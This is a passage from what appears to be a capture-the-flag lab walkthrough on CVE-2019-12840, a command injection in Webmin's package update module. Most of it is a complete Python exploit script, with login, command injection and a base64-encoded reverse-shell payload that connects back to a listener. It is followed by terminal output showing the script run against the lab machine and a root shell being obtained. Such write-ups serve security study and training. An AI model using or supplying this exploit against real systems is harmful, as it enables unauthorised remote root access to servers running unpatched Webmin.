CVE-2019-12840
a vulnerability classified as critical has been found in webmin up to 1.910 (Software Management Software). Affected is some unknown functionality of the file update.cgi of the component Package Updates Module. The manipulation of the argument
data
as part of a Parameter leads to a command injection vulnerability. CWE is classifying the issue as CWE-77. The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability.
The Matt
user is confirmed to be a Webmin user
exploit
Exploit found online
#!/usr/bin/python3
'''
# Exploit Title: Webmin Package Updates Remote Command Execution
# Date: 09/11/2019
# Exploit Author: KrE80r (@KrE80r)
# CVE : CVE-2019-12840
# Vendor Homepage: http://webmin.com/
# Version: <= 1.910
# Tested on: Ubuntu 16.04, Ubuntu 18.04
# Refernces: https://secfa.org/?p=17, https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html
'''
import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import argparse
import sys
import base64
from colorama import Fore, Style
from bs4 import BeautifulSoup
banner = '''
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by KrE80r
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
'''
def CVE_2019_12840(url,auth_base64,cmd):
vuln_url = url + '/package-updates/update.cgi'
headers = {
"User-Agent":"webmin",
"Connection":"close",
"Content-Type":"application/x-www-form-urlencoded",
"Referer": url + "package-updates/update.cgi?xnavigation=1"
}
payload = r'OBJECT CGI;print "Content-Type: Test\n\n";'+'$cmd=`%s`;print "$cmd";' % cmd
r = requests.post(url=vuln_url, data=payload, headers=headers, verify=False)
if r.status_code ==200 and 'Content-type' in r.text:
m = re.findall(r"(.+?)\nContent-type: text/plain",r.text,re.S)
else:
sys.exit(1)
def login(username,password,url):
print(Fore.YELLOW + "[*] logging in ...")
print(Style.RESET_ALL)
session = requests.Session()
session.cookies["testing"] = "1"
data = {'page' : '', 'user' : username, 'pass' : password}
loginurl = url+"/session_login.cgi"
res = session.post(loginurl, data=data, verify=False,allow_redirects=False)
if res.status_code != 302 or session.cookies["sid"] == None:
print(Fore.RED +"[-] Failed to login!!")
print(Style.RESET_ALL)
sys.exit(1)
else:
return session.cookies["sid"]
def exploit(sid,url,cmd):
print(Fore.YELLOW + "[*] sending command", cmd)
print(Style.RESET_ALL)
session = requests.Session()
referer = url + "/package-updates/update.cgi?xnavigation=1"
cookies = "Cookie: redirect=1; testing=1;sid=" + sid
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": referer,
"X-Progressive-URL": url + "package-updates/update.cgi",
"X-Requested-From": "package-updates",
"X-Requested-From-Tab": "webmin",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookies
}
data = "mode=updates&search=&u=apt/apt&u=;"+ cmd + ";/apt&ok_top=Update+Selected+Packages"
updateurl = url + "/package-updates/update.cgi"
res = session.post(updateurl, data=data,headers=headers, verify=False)
if res.status_code == 200:
soup = BeautifulSoup(res.text, 'html.parser')
#ain't perfect but does the job
output = soup.find_all('pre')
print(output)
print(Fore.GREEN + "[+] exploit finished successfully!!")
print(Style.RESET_ALL)
def b64revshell(lhost,lport):
payload = "python -c \"import base64;exec(base64.b64decode('"
shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
shellcode = str.encode(shellcode)
encoded = base64.b64encode(shellcode)
encoded = encoded.decode("utf-8")
closing = "'))\""
payload += encoded
payload += closing
return payload
if __name__ == "__main__":
print (Fore.GREEN + banner)
print(Style.RESET_ALL)
parser = argparse.ArgumentParser()
parser.add_argument("-U", dest="username", help="username", required=True)
parser.add_argument("-P", dest="password", help="password", required=True)
parser.add_argument("-u", dest="url", help="target url", required=True)
parser.add_argument("-p", dest="port", default="10000", help="target port")
parser.add_argument("-lport", dest="lport", default="443", help="local port for reverse shell")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-c", dest="cmd", help="command to execute")
group.add_argument("-lhost", dest="lhost", help="Send back a reverse shell at port 443")
args = parser.parse_args()
baseurl = args.url + ':' + args.port
sid = login(args.username,args.password,baseurl)
sid = sid.strip()
print(Fore.GREEN + "[+] got sid", sid)
print(Style.RESET_ALL)
if args.cmd:
exploit(sid,baseurl,args.cmd)
elif args.lhost:
rev = b64revshell(args.lhost,args.lport)
exploit(sid,baseurl,rev)
Exploitation
┌──(kali㉿kali)-[~/archive/htb/labs/postman]
└─$ python3 cve-2019-12840.py -u matt -p computer2008 -u 'https://postman' -lhost 10.10.16.8 -lport 1234
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by KrE80r
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
[*] logging in ...
[+] got sid 43a4295a967fb8544e9f53ff037a9246
[*] sending command python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjgiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p'))"
Executing the exploit script with the credential of the Matt
user
┌──(kali㉿kali)-[~/archive/htb/labs/postman]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.160] 42374
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
Postman
# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.160 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:6363 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:6363 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:63:63 txqueuelen 1000 (Ethernet)
RX packets 16379 bytes 5242975 (5.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 17199 bytes 12410522 (12.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 base 0x2000
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 25940 bytes 1843058 (1.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 25940 bytes 1843058 (1.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise